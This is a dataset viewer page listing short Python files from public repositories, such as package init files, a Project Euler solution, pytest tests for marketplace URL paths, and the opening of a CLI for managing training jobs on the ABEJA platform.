xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

f93a7b40ae51a1567d45385ea6d51f6bf9525ab1

21

py

Python

simsm/__init__.py

jviriato/sim-sm

5893de8b06a0fea9e905726362933cbea8be7d25

[ "MIT" ]

1

2020-08-08T01:36:59.000Z

simsm/__init__.py

jviriato/sim-sm

5893de8b06a0fea9e905726362933cbea8be7d25

[ "MIT" ]

1

2019-01-13T04:08:12.000Z

simsm/__init__.py

jviriato/sim-sm

5893de8b06a0fea9e905726362933cbea8be7d25

[ "MIT" ]

null

from .simsm import *

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py

Python

vfp2py/__init__.py

wroldwiedbwe/vfp2py

4e18f95249ee92b36f66e4882909187061e3cb97

[ "MIT" ]

36

2017-05-02T10:10:51.000Z

2021-12-11T18:31:23.000Z

vfp2py/__init__.py

wroldwiedbwe/vfp2py

4e18f95249ee92b36f66e4882909187061e3cb97

[ "MIT" ]

6

2017-09-21T02:17:49.000Z

2021-10-20T19:48:48.000Z

vfp2py/__init__.py

wroldwiedbwe/vfp2py

4e18f95249ee92b36f66e4882909187061e3cb97

[ "MIT" ]

20

2018-02-19T12:54:46.000Z

2022-03-23T12:53:58.000Z

# coding=utf-8 from __future__ import absolute_import, division, print_function from . import vfpfunc from . import vfp2py

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py

Python

venv/lib/python3.9/site-packages/gemstone/auth/validation_strategies/__init__.py

neophyte88/sistine3

e685d751a7f1c836d5603211d7cf267420fc8fa2

[ "MIT" ]

1

2022-03-09T08:16:09.000Z

venv/lib/python3.9/site-packages/gemstone/auth/validation_strategies/__init__.py

neophyte88/sistine3

e685d751a7f1c836d5603211d7cf267420fc8fa2

[ "MIT" ]

null

venv/lib/python3.9/site-packages/gemstone/auth/validation_strategies/__init__.py

neophyte88/sistine3

e685d751a7f1c836d5603211d7cf267420fc8fa2

[ "MIT" ]

null

from .basic_cookie_strategy import BasicCookieStrategy from .header_strategy import HeaderValidationStrategy

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py

Python

newton_admm/__init__.py

locuslab/newton_admm

13e87e02e881f3ac899d95169e6926c4ca6734e0

[ "Apache-2.0" ]

42

2017-05-04T14:08:10.000Z

2020-05-25T13:52:32.000Z

newton_admm/__init__.py

locuslab/newton_admm

13e87e02e881f3ac899d95169e6926c4ca6734e0

[ "Apache-2.0" ]

1

2017-05-25T15:39:41.000Z

2017-06-10T13:36:02.000Z

newton_admm/__init__.py

locuslab/newton_admm

13e87e02e881f3ac899d95169e6926c4ca6734e0

[ "Apache-2.0" ]

8

2017-05-05T15:25:40.000Z

2020-03-18T16:55:21.000Z

from .newton_admm import newton_admm

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ddb5d86c1e1e6bf1ab352c680c761466310f59c7

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py

Python

src/unusual_words.py

hyped-text/librarian

d47e06f1df66cae47b606668fbbf227c639e2c6e

[ "MIT" ]

null

src/unusual_words.py

hyped-text/librarian

d47e06f1df66cae47b606668fbbf227c639e2c6e

[ "MIT" ]

2

2021-03-31T19:11:18.000Z

2021-12-13T20:11:28.000Z

src/unusual_words.py

hyped-text/librarian

d47e06f1df66cae47b606668fbbf227c639e2c6e

[ "MIT" ]

null

from nltk.corpus import gutenberg from text_processing import unusual_words print(unusual_words(gutenberg.words('carroll-alice.txt')))

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dde58913c6eef5a39370732b2b6f3afee18f29ac

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py

Python

sdk/exception/method_not_allowed_exception.py

CLG0125/elemesdk

344466398bad7cf026e082e47c77d3ca98621ef3

[ "MIT" ]

1

2021-04-03T05:11:29.000Z

sdk/exception/method_not_allowed_exception.py

CLG0125/elemesdk

344466398bad7cf026e082e47c77d3ca98621ef3

[ "MIT" ]

null

sdk/exception/method_not_allowed_exception.py

CLG0125/elemesdk

344466398bad7cf026e082e47c77d3ca98621ef3

[ "MIT" ]

null

class MethodNotAllowedException(Exception):pass

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6

ddf56e3ce7771f3fc0ae18da393e67a57748a782

31

py

Python

src/utilities/__init__.py

AAU-PSix/canary

93b07d23cd9380adc03a6aa1291a13eaa3b3008c

[ "MIT" ]

null

src/utilities/__init__.py

AAU-PSix/canary

93b07d23cd9380adc03a6aa1291a13eaa3b3008c

[ "MIT" ]

null

src/utilities/__init__.py

AAU-PSix/canary

93b07d23cd9380adc03a6aa1291a13eaa3b3008c

[ "MIT" ]

null

from .setupCommandLine import *

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py

Python

challenge13.py

ritobanrc/project-euler

56fd42204299636a98e48d3ab4d524aa54748ba4

[ "MIT" ]

null

challenge13.py

ritobanrc/project-euler

56fd42204299636a98e48d3ab4d524aa54748ba4

[ "MIT" ]

null

challenge13.py

ritobanrc/project-euler

56fd42204299636a98e48d3ab4d524aa54748ba4

[ "MIT" ]

null

#!/usr/bin/env python3 numbers = '''37107287533902102798797998220837590246510135740250 46376937677490009712648124896970078050417018260538 74324986199524741059474233309513058123726617309629 91942213363574161572522430563301811072406154908250 23067588207539346171171980310421047513778063246676 89261670696623633820136378418383684178734361726757 28112879812849979408065481931592621691275889832738 44274228917432520321923589422876796487670272189318 47451445736001306439091167216856844588711603153276 70386486105843025439939619828917593665686757934951 62176457141856560629502157223196586755079324193331 64906352462741904929101432445813822663347944758178 92575867718337217661963751590579239728245598838407 58203565325359399008402633568948830189458628227828 80181199384826282014278194139940567587151170094390 35398664372827112653829987240784473053190104293586 86515506006295864861532075273371959191420517255829 71693888707715466499115593487603532921714970056938 54370070576826684624621495650076471787294438377604 53282654108756828443191190634694037855217779295145 36123272525000296071075082563815656710885258350721 45876576172410976447339110607218265236877223636045 17423706905851860660448207621209813287860733969412 81142660418086830619328460811191061556940512689692 51934325451728388641918047049293215058642563049483 62467221648435076201727918039944693004732956340691 15732444386908125794514089057706229429197107928209 55037687525678773091862540744969844508330393682126 18336384825330154686196124348767681297534375946515 80386287592878490201521685554828717201219257766954 78182833757993103614740356856449095527097864797581 16726320100436897842553539920931837441497806860984 48403098129077791799088218795327364475675590848030 87086987551392711854517078544161852424320693150332 59959406895756536782107074926966537676326235447210 69793950679652694742597709739166693763042633987085 41052684708299085211399427365734116182760315001271 65378607361501080857009149939512557028198746004375 35829035317434717326932123578154982629742552737307 94953759765105305946966067683156574377167401875275 88902802571733229619176668713819931811048770190271 25267680276078003013678680992525463401061632866526 36270218540497705585629946580636237993140746255962 24074486908231174977792365466257246923322810917141 91430288197103288597806669760892938638285025333403 34413065578016127815921815005561868836468420090470 23053081172816430487623791969842487255036638784583 11487696932154902810424020138335124462181441773470 63783299490636259666498587618221225225512486764533 67720186971698544312419572409913959008952310058822 95548255300263520781532296796249481641953868218774 76085327132285723110424803456124867697064507995236 37774242535411291684276865538926205024910326572967 23701913275725675285653248258265463092207058596522 29798860272258331913126375147341994889534765745501 18495701454879288984856827726077713721403798879715 38298203783031473527721580348144513491373226651381 34829543829199918180278916522431027392251122869539 40957953066405232632538044100059654939159879593635 29746152185502371307642255121183693803580388584903 41698116222072977186158236678424689157993532961922 62467957194401269043877107275048102390895523597457 23189706772547915061505504953922979530901129967519 86188088225875314529584099251203829009407770775672 11306739708304724483816533873502340845647058077308 82959174767140363198008187129011875491310547126581 97623331044818386269515456334926366572897563400500 42846280183517070527831839425882145521227251250327 55121603546981200581762165212827652751691296897789 32238195734329339946437501907836945765883352399886 75506164965184775180738168837861091527357929701337 62177842752192623401942399639168044983993173312731 32924185707147349566916674687634660915035914677504 99518671430235219628894890102423325116913619626622 73267460800591547471830798392868535206946944540724 76841822524674417161514036427982273348055556214818 97142617910342598647204516893989422179826088076852 87783646182799346313767754307809363333018982642090 10848802521674670883215120185883543223812876952786 71329612474782464538636993009049310363619763878039 62184073572399794223406235393808339651327408011116 66627891981488087797941876876144230030984490851411 60661826293682836764744779239180335110989069790714 85786944089552990653640447425576083659976645795096 66024396409905389607120198219976047599490197230297 64913982680032973156037120041377903785566085089252 16730939319872750275468906903707539413042652315011 94809377245048795150954100921645863754710598436791 78639167021187492431995700641917969777599028300699 15368713711936614952811305876380278410754449733078 40789923115535562561142322423255033685442488917353 44889911501440648020369068063960672322193204149535 41503128880339536053299340368006977710650566631954 81234880673210146739058568557934581403627822703280 82616570773948327592232845941706525094512325230608 22918802058777319719839450180888072429661980811197 77158542502016545090413245809786882778948721859617 72107838435069186155435662884062257473692284509516 20849603980134001723930671666823555245252804609722 53503534226472524250874054075591789781264330331690'''.split('\n') def add(str1, str2): # unfortunately, the numbers are in big-endian. for ease of calculation, we're going to make it little endian, and # convert back later str1 = str1[::-1] str2 = str2[::-1] str1 += '0' * max(0, len(str2) - len(str1)) str2 += '0' * max(0, len(str1) - len(str2)) total = '' carry = '0' for d1, d2 in zip(str1, str2): s = int(d1) + int(d2) + int(carry) final_digit = s % 10 carry = str(s - final_digit)[:-1] if carry == '': carry = '0' total += str(final_digit) total += str(carry)[::-1] return total[::-1] total = '' for num in numbers: # print(total) total = add(total, num) print(total.strip('0')[:10])

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248

py

Python

rpiRobot/src/communication/domain/iLight.py

olgam4/design3

6e05d123a24deae7dda646df535844a158ef5cc0

[ "WTFPL" ]

null

rpiRobot/src/communication/domain/iLight.py

olgam4/design3

6e05d123a24deae7dda646df535844a158ef5cc0

[ "WTFPL" ]

null

rpiRobot/src/communication/domain/iLight.py

olgam4/design3

6e05d123a24deae7dda646df535844a158ef5cc0

[ "WTFPL" ]

null

from abc import ABC, abstractmethod class ILight(ABC): @property @abstractmethod def is_on(self) -> bool: pass @abstractmethod def turn_on(self): pass @abstractmethod def turn_off(self): pass

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py

Python

src/SPSSProcessor/__init__.py

razvan-cretu/SPSSProcessor

86dc35e60f1e6fae2c0df3d84110db5d3f187dc7

[ "MIT" ]

null

src/SPSSProcessor/__init__.py

razvan-cretu/SPSSProcessor

86dc35e60f1e6fae2c0df3d84110db5d3f187dc7

[ "MIT" ]

null

src/SPSSProcessor/__init__.py

razvan-cretu/SPSSProcessor

86dc35e60f1e6fae2c0df3d84110db5d3f187dc7

[ "MIT" ]

null

from .Processor import SavFile

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py

Python

tests/app/api/business/brief_overview/test_get_path_for_brief_link.py

AusDTO/dto-digitalmarketplace-api

937843c9c01a71518cf4688b4daa55bbe7df1965

[ "MIT" ]

6

2017-06-09T03:38:53.000Z

2021-12-22T02:42:15.000Z

tests/app/api/business/brief_overview/test_get_path_for_brief_link.py

AusDTO/dto-digitalmarketplace-api

937843c9c01a71518cf4688b4daa55bbe7df1965

[ "MIT" ]

47

2016-08-02T05:21:31.000Z

2022-03-28T01:14:17.000Z

tests/app/api/business/brief_overview/test_get_path_for_brief_link.py

AusDTO/dto-digitalmarketplace-api

937843c9c01a71518cf4688b4daa55bbe7df1965

[ "MIT" ]

7

2016-09-13T13:07:18.000Z

2021-02-17T10:16:21.000Z

import pytest from app.api.business import brief_overview_business def test_outcome_brief_correct_path_returned(outcome_brief, work_order): outcome_brief.work_order = work_order path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/random/string/{work_order_id}/foo/bar' ) assert path == ( '/buyers/frameworks/{framework_slug}/requirements/{lot_slug}/{work_order_id}' '/random/string/{work_order_id}/foo/bar' .format( framework_slug=outcome_brief.framework.slug, lot_slug=outcome_brief.lot.slug, work_order_id=outcome_brief.id ) ) def test_specialist_brief_correct_path_returned(specialist_brief, work_order): specialist_brief.work_order = work_order path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/random/string/{work_order_id}/foo/bar' ) assert path == ( '/buyers/frameworks/{framework_slug}/requirements/{lot_slug}/{work_order_id}/' 'random/string/{work_order_id}/foo/bar' .format( framework_slug=specialist_brief.framework.slug, lot_slug=specialist_brief.lot.slug, work_order_id=work_order.id ) ) def test_correct_path_returned_for_title(outcome_brief): path = brief_overview_business.get_path_for_brief_link(outcome_brief, '{path}/edit/title/title') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/title/title' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_correct_path_returned_for_role(specialist_brief): path = brief_overview_business.get_path_for_brief_link(specialist_brief, '{path}/edit/role/title') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/role/title' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_location(outcome_brief): path = brief_overview_business.get_path_for_brief_link(outcome_brief, '{path}/edit/location/location') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/location/location' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_location(specialist_brief): path = brief_overview_business.get_path_for_brief_link(specialist_brief, '{path}/edit/location/location') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/location/location' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_description_of_work(outcome_brief): path = brief_overview_business.get_path_for_brief_link(outcome_brief, '{path}/description-of-work') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/description-of-work' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_description_of_work(specialist_brief): path = brief_overview_business.get_path_for_brief_link(specialist_brief, '{path}/description-of-work') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/description-of-work' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_shortlist_and_evaluation(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/shortlist-and-evaluation-process' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/shortlist-and-evaluation-process' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_shortlist_and_evaluation(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/shortlist-and-evaluation-process' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/shortlist-and-evaluation-process' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_brief_window(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/edit/how-long-your-brief-will-be-open/requirementsLength' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/how-long-your-brief-will-be-open/requirementsLength' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_brief_window(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/edit/how-long-your-brief-will-be-open/requirementsLength' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/how-long-your-brief-will-be-open/requirementsLength' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_question_and_answer_session(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/question-and-answer-session-details' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/question-and-answer-session-details' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_question_and_answer_session(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/question-and-answer-session-details' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/question-and-answer-session-details' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_who_can_respond(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/edit/who-can-respond/specifySeller' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/who-can-respond/specifySeller' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_outcome_brief_correct_path_returned_for_who_can_respond(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/edit/who-can-respond/specifySeller' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/edit/who-can-respond/specifySeller' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_review_and_publish(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/publish' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/publish' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_review_and_publish(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/publish' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/publish' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_answer_a_question(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '{path}/supplier-questions/answer-question' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/supplier-questions/answer-question' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_answer_a_question(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '{path}/supplier-questions/answer-question' ) assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/supplier-questions/answer-question' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_view_responses(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '/2/brief/{brief_id}/download-responses' ) assert path == '/2/brief/{}/download-responses'.format(outcome_brief.id) def test_specialist_brief_correct_path_returned_for_view_responses(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '/2/brief/{brief_id}/download-responses' ) assert path == '/2/brief/{}/download-responses'.format(specialist_brief.id) def test_outcome_brief_correct_path_returned_for_evaluation_template(outcome_brief): path = brief_overview_business.get_path_for_brief_link( outcome_brief, '/static/media/documents/Scoring_Template.xlsx' ) assert path == '/static/media/documents/Scoring_Template.xlsx' def test_specialist_brief_correct_path_returned_for_evaluation_template(specialist_brief): path = brief_overview_business.get_path_for_brief_link( specialist_brief, '/static/media/documents/Scoring_Template.xlsx' ) assert path == '/static/media/documents/Scoring_Template.xlsx' def test_outcome_brief_correct_path_returned_for_start_work_order(outcome_brief): path = brief_overview_business.get_path_for_brief_link(outcome_brief, '{path}/work-orders/create') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/work-orders/create' .format( outcome_brief.framework.slug, outcome_brief.lot.slug, outcome_brief.id ) ) def test_specialist_brief_correct_path_returned_for_start_work_order(specialist_brief): path = brief_overview_business.get_path_for_brief_link(specialist_brief, '{path}/work-orders/create') assert path == ( '/buyers/frameworks/{}/requirements/{}/{}/work-orders/create' .format( specialist_brief.framework.slug, specialist_brief.lot.slug, specialist_brief.id ) ) def test_outcome_brief_correct_path_returned_for_edit_work_order(outcome_brief, work_order): outcome_brief.work_order = work_order path = brief_overview_business.get_path_for_brief_link( outcome_brief, '/work-orders/{work_order_id}' ) assert path == '/work-orders/{}'.format(outcome_brief.work_order.id) def test_specialist_brief_correct_path_returned_for_edit_work_order(specialist_brief, work_order): specialist_brief.work_order = work_order path = brief_overview_business.get_path_for_brief_link( specialist_brief, '/work-orders/{work_order_id}' ) assert path == '/work-orders/{}'.format(specialist_brief.work_order.id)

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9b7c58b848c42f98913484c9c5814e5241e6f6ac

215

py

Python

gecpt/parse/__init__.py

wohchowshy/gec-preprocess

ef41f2f3d7f613cc23df9fdffe4a9d259a0d1b48

[ "MIT" ]

3

2021-04-12T03:01:21.000Z

2022-01-10T09:35:18.000Z

gecpt/parse/__init__.py

wohchowshy/gec-preprocess

ef41f2f3d7f613cc23df9fdffe4a9d259a0d1b48

[ "MIT" ]

null

gecpt/parse/__init__.py

wohchowshy/gec-preprocess

ef41f2f3d7f613cc23df9fdffe4a9d259a0d1b48

[ "MIT" ]

2

2021-04-12T03:02:41.000Z

2021-11-13T17:49:06.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- from .diff_tokenize import tokenize_diff_text, tokenize_edit from .sent_tokenize_lm import sent_tokenize __all__ = ['tokenize_diff_text', 'tokenize_edit', 'sent_tokenize']

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131

py

Python

BertLibrary/__init__.py

PinkDraconian/Bert-as-a-Library

04171b439b970e9c0f4384095f9275ae5520c177

[ "MIT" ]

13

2019-08-06T14:26:57.000Z

2021-09-20T15:05:29.000Z

BertLibrary/__init__.py

PinkDraconian/Bert-as-a-Library

04171b439b970e9c0f4384095f9275ae5520c177

[ "MIT" ]

1

2020-03-10T17:04:40.000Z

2021-01-12T13:53:41.000Z

BertLibrary/__init__.py

PinkDraconian/Bert-as-a-Library

04171b439b970e9c0f4384095f9275ae5520c177

[ "MIT" ]

2

2021-03-16T11:40:39.000Z

2021-07-06T19:21:50.000Z

import os import sys from BertLibrary.models.BertFEModel import BertFEModel from BertLibrary.models.BertFTModel import BertFTModel

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9b9de5ef726361962f6a455635dbd34fe9b82002

163

py

Python

satellite/backend/base.py

briancline/torque-satellite

41add02c7c99ed0520d33ace2287a32497fbad79

[ "MIT" ]

10

2015-07-23T22:04:50.000Z

2021-09-18T03:18:19.000Z

satellite/backend/base.py

briancline/torque-satellite

41add02c7c99ed0520d33ace2287a32497fbad79

[ "MIT" ]

null

satellite/backend/base.py

briancline/torque-satellite

41add02c7c99ed0520d33ace2287a32497fbad79

[ "MIT" ]

3

2015-08-12T05:16:32.000Z

2019-10-22T21:05:36.000Z

class BackendEngine(object): def write_request(self, request): raise NotImplemented def read_request(self, request): raise NotImplemented

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32fd01061c440fbbefbc1b345d5d59ae2218f2f9

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py

Python

teamcity_memory_map/__main__.py

alunegov/teamcity_memory_map

e7bce0e1b7956fc7b938f51421ffa2fa6b3cd643

[ "MIT" ]

null

teamcity_memory_map/__main__.py

alunegov/teamcity_memory_map

e7bce0e1b7956fc7b938f51421ffa2fa6b3cd643

[ "MIT" ]

null

teamcity_memory_map/__main__.py

alunegov/teamcity_memory_map

e7bce0e1b7956fc7b938f51421ffa2fa6b3cd643

[ "MIT" ]

null

"""teamcity_memory_map.__main__: executed when teamcity_memory_map directory is called as script.""" from .teamcity_memory_map import main main()

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6

fd588a928b969f156e388ebfd73f8ec8efa6c46d

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py

Python

src/euler_python_package/euler_python/medium/p201.py

wilsonify/euler

5214b776175e6d76a7c6d8915d0e062d189d9b79

[ "MIT" ]

null

src/euler_python_package/euler_python/medium/p201.py

wilsonify/euler

5214b776175e6d76a7c6d8915d0e062d189d9b79

[ "MIT" ]

null

src/euler_python_package/euler_python/medium/p201.py

wilsonify/euler

5214b776175e6d76a7c6d8915d0e062d189d9b79

[ "MIT" ]

null

def problem201(): pass

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18

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null

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bd29689dcf7a3b581b21980ee76de4f01aed8463

65

py

Python

karman/__init__.py

ablator/ablator-python-client

7640c18d8d92772f3506f5949013063e8f436a0c

[ "MIT" ]

null

karman/__init__.py

ablator/ablator-python-client

7640c18d8d92772f3506f5949013063e8f436a0c

[ "MIT" ]

1

2017-08-17T06:43:11.000Z

karman/__init__.py

ablator/ablator-python-client

7640c18d8d92772f3506f5949013063e8f436a0c

[ "MIT" ]

null

import karman.version # noqa from .karman import Karman # noqa

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6

bd49ee4912b8c5dabb29aa249ffd7177ff1e5de1

29

py

Python

bgmodelbuilder/utilities/__init__.py

bloer/BackgroundModelBuilder

6d82430d80853e27c4afd86c4c0d630b2f23821c

[ "BSD-2-Clause" ]

null

bgmodelbuilder/utilities/__init__.py

bloer/BackgroundModelBuilder

6d82430d80853e27c4afd86c4c0d630b2f23821c

[ "BSD-2-Clause" ]

2

2017-10-19T15:54:32.000Z

2021-05-26T17:32:55.000Z

bgmodelbuilder/utilities/__init__.py

bloer/BackgroundModelBuilder

6d82430d80853e27c4afd86c4c0d630b2f23821c

[ "BSD-2-Clause" ]

1

2022-02-22T19:26:56.000Z

from .isotope import Isotope

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9525661e4cd7cee91ce0d6f9b82132faf94be48b

59,108

py

Python

abejacli/training/commands.py

abeja-inc/abeja-platform-cli

bed60642ee46656a5bfec5577d876e54c88bfd3f

[ "Apache-2.0" ]

2

2020-06-19T23:07:38.000Z

2021-06-03T10:44:39.000Z

abejacli/training/commands.py

abeja-inc/abeja-platform-cli

bed60642ee46656a5bfec5577d876e54c88bfd3f

[ "Apache-2.0" ]

20

2020-04-07T07:48:42.000Z

2020-09-07T09:18:43.000Z

abejacli/training/commands.py

abeja-inc/abeja-platform-cli

bed60642ee46656a5bfec5577d876e54c88bfd3f

[ "Apache-2.0" ]

1

2021-06-01T13:38:19.000Z

import json import os import sys import urllib from io import StringIO from operator import itemgetter from typing import Dict, Optional import click import click_config_file from abejacli.click_custom import ( DATASET_PARAM_STR, ENVIRONMENT_STR, USER_PARAM_STR, VOLUME_PARAM_STR, convert_to_local_image_callback ) from abejacli.common import ( __get_job_definition_name, __try_get_organization_id, json_output_formatter, progress_status, training_model_archive, version_archive ) from abejacli.config import ( ABEJA_PLATFORM_TOKEN, ABEJA_PLATFORM_USER_ID, CONFIG, DEFAULT_EXCLUDE_FILES, ERROR_EXITCODE, ORGANIZATION_ENDPOINT, SUCCESS_EXITCODE ) from abejacli.docker.commands.run import build_volumes from abejacli.exceptions import ( ConfigFileNotFoundError, InvalidConfigException, ResourceNotFound ) from abejacli.logger import get_logger from abejacli.session import api_get, api_get_data, api_patch, api_post from abejacli.training import ( CONFIGFILE_NAME, TrainingConfig, is_valid_image_and_handler_pair, read_training_config ) from abejacli.training.jobs import ( TrainingJobDebugRun, TrainingJobLocalContainerRun ) logger = get_logger() training_config = TrainingConfig() @click.group(help='Training operation commands') @click.pass_context def training(ctx): if not CONFIG: click.echo( "[error] there is no configuration, execute 'abeja config init'") ctx.abort() return @training.command(name='init', help='Initialize training with training definition name') @click.argument('name', required=True) def initialize_training(name): try: training_config.write(name) except Exception as e: logger.error('training initialization failed: {}'.format(e)) click.echo('training initialization failed.') sys.exit(ERROR_EXITCODE) click.echo('training initialized') # --------------------------------------------------- # job definition # --------------------------------------------------- @training.command(name='create-job-definition', help='Create training job definition') @click.option('-n', '--name', 'name', type=str, help='Training job definition name', required=False, default=None) def create_job_definition(name): try: name = __get_job_definition_name(name, training_config) params = { "name": name } url = "{}/training/definitions".format(ORGANIZATION_ENDPOINT) json_data = json.dumps(params) r = api_post(url, json_data) except ConfigFileNotFoundError: click.echo('training configuration file does not exists.') logger.error('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create job definition aborted:{}'.format(e)) click.echo('create job definition aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='describe-job-definitions', help='Gets information of job definition. Lists definitions if job-definition-name is not give') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--include-archived', 'include_archived', is_flag=True, help="Includes archived job definitions.") @click.option('-l', '--limit', 'limit', type=int, help='Number of pagings', default=None, required=False) @click.option('-o', '--offset', 'offset', type=int, help='Paging start index', default=None, required=False) def describe_job_definitions(job_definition_name, include_archived, limit, offset): params = {} if job_definition_name is None: url = "{}/training/definitions".format(ORGANIZATION_ENDPOINT) params["filter_archived"] = 'include_archived' if include_archived else 'exclude_archived' if limit: params['limit'] = limit if offset: params["offset"] = offset else: url = "{}/training/definitions/{}".format(ORGANIZATION_ENDPOINT, job_definition_name) try: r = api_get_data(url, params) except Exception as e: logger.error('create job definition aborted:{}'.format(e)) click.echo('create job definition aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) # --------------------------------------------------- # notebook # --------------------------------------------------- @training.command(name='create-notebook', help='Create Jupyter Notebook/Lab.') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-t', '--notebook-type', type=str, default='notebook', required=False, help='Jupyter type. Choose from "notebook" or "lab". Default is "notebook".') @click.option('--instance-type', type=str, required=False, help='Instance Type of the machine where notebook is started. ' 'By default, cpu-1 and gpu-1 is used for all-cpu and all-gpu images respectively.') @click.option('-i', '--image', 'image', type=str, required=False, help='Specify base image name and tag in the "name:tag" format. ex) abeja-inc/all-gpu:19.10') @click.option('--datalake', '--datalakes', 'datalakes', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake channel ID for premount.') @click.option('--bucket', '--buckets', 'buckets', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake bucket ID for premount.') @click.option('--dataset', '--datasets', 'datasets', type=DATASET_PARAM_STR, help='[Alpha stage option] Dataset ID for premount.', default=None, required=False, multiple=True) def create_notebook(job_definition_name, notebook_type, instance_type, image, datalakes, buckets, datasets): try: name = __get_job_definition_name(job_definition_name, training_config) config_data = training_config.read(training_config.create_notebook_schema) image = image or config_data.get('image') if not image: raise InvalidConfigException('need to specify image') payload = { 'image': image, 'notebook_type': notebook_type } instance_type = instance_type or config_data.get('instance_type') if instance_type is not None: payload['instance_type'] = instance_type if datalakes: payload['datalakes'] = list(datalakes) if buckets: payload['buckets'] = list(buckets) if datasets: payload['datasets'] = dict(datasets) url = "{}/training/definitions/{}/notebooks".format( ORGANIZATION_ENDPOINT, name) r = api_post(url, json.dumps(payload)) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create notebook aborted: {}'.format(e)) click.echo('create notebook aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='start-notebook', help='Start an existing Jupyter Notebook/Lab.') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-n', '--notebook_id', 